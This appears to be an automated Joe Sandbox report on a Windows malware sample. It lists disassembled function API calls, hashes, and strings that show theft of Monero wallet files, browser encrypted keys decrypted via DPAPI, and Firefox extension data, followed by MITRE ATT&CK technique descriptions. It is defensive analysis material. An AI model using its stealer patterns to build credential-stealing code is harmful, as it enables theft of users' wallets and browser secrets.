Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 00928B60: GetSystemTime.KERNEL32(00930E1A,0104B3D0,009305AE,?,?,009113F9,?,0000001A,00930E1A,00000000,?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 00928B86

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0091D481
lstrlen.KERNEL32(00000000), ref: 0091D698
lstrlen.KERNEL32(00000000), ref: 0091D6AC
DeleteFileA.KERNEL32(00000000), ref: 0091D72B

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 85c9f6af8e86ddcbe4ec4f8a0ab489a3a7a324f7a0e1a7ea9fbcdd3323c86e2d
Instruction ID: 64c74c4ce344a2ba120b1f0cf93825431ae6f55a4eed94715c47af68851866d5
Opcode Fuzzy Hash: 85c9f6af8e86ddcbe4ec4f8a0ab489a3a7a324f7a0e1a7ea9fbcdd3323c86e2d
Instruction Fuzzy Hash: CC91F0739101289BDB04FBA4EC96FEE7339AF94300F504568F506B60A5EF346A49CB66

Function 0091D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 00928B60: GetSystemTime.KERNEL32(00930E1A,0104B3D0,009305AE,?,?,009113F9,?,0000001A,00930E1A,00000000,?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 00928B86

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0091D801
lstrlen.KERNEL32(00000000), ref: 0091D99F
lstrlen.KERNEL32(00000000), ref: 0091D9B3
DeleteFileA.KERNEL32(00000000), ref: 0091DA32

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9bca03dfde8887ca18939204656e57ea8e8bcd1676e48d76d3110c30a303e417
Instruction ID: 7cffe09bd5ea758156cf71a66b5ca3eba82c9ceefdf3165ead9436c422673ca2
Opcode Fuzzy Hash: 9bca03dfde8887ca18939204656e57ea8e8bcd1676e48d76d3110c30a303e417
Instruction Fuzzy Hash: 0981EF739101289BDB04FBA4EC96FEE7339AF94300F504558F506B70A5EF346A49CBA6

Function 0091F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Part of subcall function 009199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009199EC
Part of subcall function 009199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00919A11
Part of subcall function 009199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00919A31
Part of subcall function 009199C0: ReadFile.KERNEL32(000000FF,?,00000000,0091148F,00000000), ref: 00919A5A
Part of subcall function 009199C0: LocalFree.KERNEL32(0091148F), ref: 00919A90
Part of subcall function 009199C0: CloseHandle.KERNEL32(000000FF), ref: 00919A9A

Part of subcall function 00928E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00928E52

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00931580,00930D92), ref: 0091F54C
lstrlen.KERNEL32(00000000), ref: 0091F56B

Strings

moz-extension+++, xrefs: 0091F5AD
^userContextId=4294967295, xrefs: 0091F59C

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: b8717481a6bf366fd759f846cf4dcbd1c65207187d575e6c326c03bcc3143597
Instruction ID: b7a11d6cfd178944c087e94c74861b88f91878b02c198e55c3067d04927cbfd6
Opcode Fuzzy Hash: b8717481a6bf366fd759f846cf4dcbd1c65207187d575e6c326c03bcc3143597
Instruction Fuzzy Hash: 48510276D10118ABDB04FBA4EC96EED737DAFD4300F408528F41667196EE346A09CBA6

Function 00923560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: e2f1d0cc8d5756e8d6b4feae45866400363aff09c1da5d3b5eaa095f8d083119
Instruction ID: 4b1e909bb4a4f4cca967de7f57ca45339c96e7c5dc9c7f774954edde3ba76391
Opcode Fuzzy Hash: e2f1d0cc8d5756e8d6b4feae45866400363aff09c1da5d3b5eaa095f8d083119
Instruction Fuzzy Hash: 6E414571D10119AFCB04EFA4E856BFEB778AF84304F008418F41677255DB79AA09CF96

Function 00919CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 009199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009199EC
Part of subcall function 009199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00919A11
Part of subcall function 009199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00919A31
Part of subcall function 009199C0: ReadFile.KERNEL32(000000FF,?,00000000,0091148F,00000000), ref: 00919A5A
Part of subcall function 009199C0: LocalFree.KERNEL32(0091148F), ref: 00919A90
Part of subcall function 009199C0: CloseHandle.KERNEL32(000000FF), ref: 00919A9A

Part of subcall function 00928E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00928E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00919D39

Part of subcall function 00919AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00914EEE,00000000,00000000), ref: 00919AEF
Part of subcall function 00919AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00914EEE,00000000,?), ref: 00919B01
Part of subcall function 00919AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00914EEE,00000000,00000000), ref: 00919B2A
Part of subcall function 00919AC0: LocalFree.KERNEL32(?,?,?,?,00914EEE,00000000,?), ref: 00919B3F

Part of subcall function 00919B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00919B84
Part of subcall function 00919B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00919BA3
Part of subcall function 00919B60: LocalFree.KERNEL32(?), ref: 00919BD3

Strings

, xrefs: 00919DC1
"encrypted_key":", xrefs: 00919D30
DPAPI, xrefs: 00919D89

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 50d3a8c13769607d4daaf6ffec21175f000e4652a5a1280e7eb9dabae9decc72
Instruction ID: 0ed9e4f217e78fcc01e08c80395e90a18b51e0be14fe0dae4055085bd0bd5a5f
Opcode Fuzzy Hash: 50d3a8c13769607d4daaf6ffec21175f000e4652a5a1280e7eb9dabae9decc72
Instruction Fuzzy Hash: A63112B6E1010DABCB04DFE4DD95BEFB7B8AF88304F144519F915A7285EB309A44CBA1

Function 009294D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 009294EB

Part of subcall function 00928D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0092951E,00000000), ref: 00928D5B
Part of subcall function 00928D50: RtlAllocateHeap.NTDLL(00000000), ref: 00928D62
Part of subcall function 00928D50: wsprintfW.USER32 ref: 00928D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 009295AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 009295C9
CloseHandle.KERNEL32(00000000), ref: 009295D6

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 53979a31ddea08e0fd73d351e7257f78a5a28560ea868b520cf8f85a0167e645
Instruction ID: 103479cdd2d0f1b974682163c2c4774afa2172d98c89510ffa9cec62f5344ad7
Opcode Fuzzy Hash: 53979a31ddea08e0fd73d351e7257f78a5a28560ea868b520cf8f85a0167e645
Instruction Fuzzy Hash: 2C312A71A003189FDB14DBD0DD49BEDB778EB48301F104559F506AB188DB74AA89CB51

Function 009292E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00923AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00923AEE,?), ref: 009292FC
GetFileSizeEx.KERNEL32(000000FF,00923AEE), ref: 00929319
CloseHandle.KERNEL32(000000FF), ref: 00929327

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: a7767e22fc7968f58a283133d432a6e7acf0cd31e54cda01b35080f3d1f6827b
Instruction ID: a5fcdf055f9a6325d074450794e9116230467aa246f1962276b417f33552e284
Opcode Fuzzy Hash: a7767e22fc7968f58a283133d432a6e7acf0cd31e54cda01b35080f3d1f6827b
Instruction Fuzzy Hash: C5F04F35E40308BBDF10DFB0EC59F9E77B9AB4C711F10C694B651A72C4DA749A018B40

Function 0092C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0092C74E

Part of subcall function 0092BF9F: __amsg_exit.LIBCMT ref: 0092BFAF

__getptd.LIBCMT ref: 0092C765
__amsg_exit.LIBCMT ref: 0092C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0092C797

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 00b05925b9d52716c29ce3c0847594a29d99f302234c00bc3782fa61bc13627c
Instruction ID: 2b0960ba740b7bb46acd8b438f084508203093b3282552c26cb6b4703663d6ac
Opcode Fuzzy Hash: 00b05925b9d52716c29ce3c0847594a29d99f302234c00bc3782fa61bc13627c
Instruction Fuzzy Hash: 60F0BEB39047309BD721BBB8BC07B9E33E46F80720F214249F505F62DBCB685940AE96

Function 00924F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00928DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00928E0B

lstrcat.KERNEL32(?,00000000), ref: 00924F7A
lstrcat.KERNEL32(?,00931070), ref: 00924F97
lstrcat.KERNEL32(?,01049DF8), ref: 00924FAB
lstrcat.KERNEL32(?,00931074), ref: 00924FBD

Part of subcall function 00924910: wsprintfA.USER32 ref: 0092492C
Part of subcall function 00924910: FindFirstFileA.KERNEL32(?,?), ref: 00924943

Part of subcall function 00924910: StrCmpCA.SHLWAPI(?,00930FDC), ref: 00924971
Part of subcall function 00924910: StrCmpCA.SHLWAPI(?,00930FE0), ref: 00924987
Part of subcall function 00924910: FindNextFileA.KERNEL32(000000FF,?), ref: 00924B7D
Part of subcall function 00924910: FindClose.KERNEL32(000000FF), ref: 00924B92

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 29ad4c81a56ffd6ef219d1e532731851d80b65dbcc691b4746b4547e8dffc191
Instruction ID: 47bc4c929d7c70b7fea9276d87625971ea1f8dded042f19f2dce2d863aae4f97
Opcode Fuzzy Hash: 29ad4c81a56ffd6ef219d1e532731851d80b65dbcc691b4746b4547e8dffc191
Instruction Fuzzy Hash: 2A21887A90031867C754F760FC46FEE333DABD4701F004694B659A3185EE75A6C88F92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
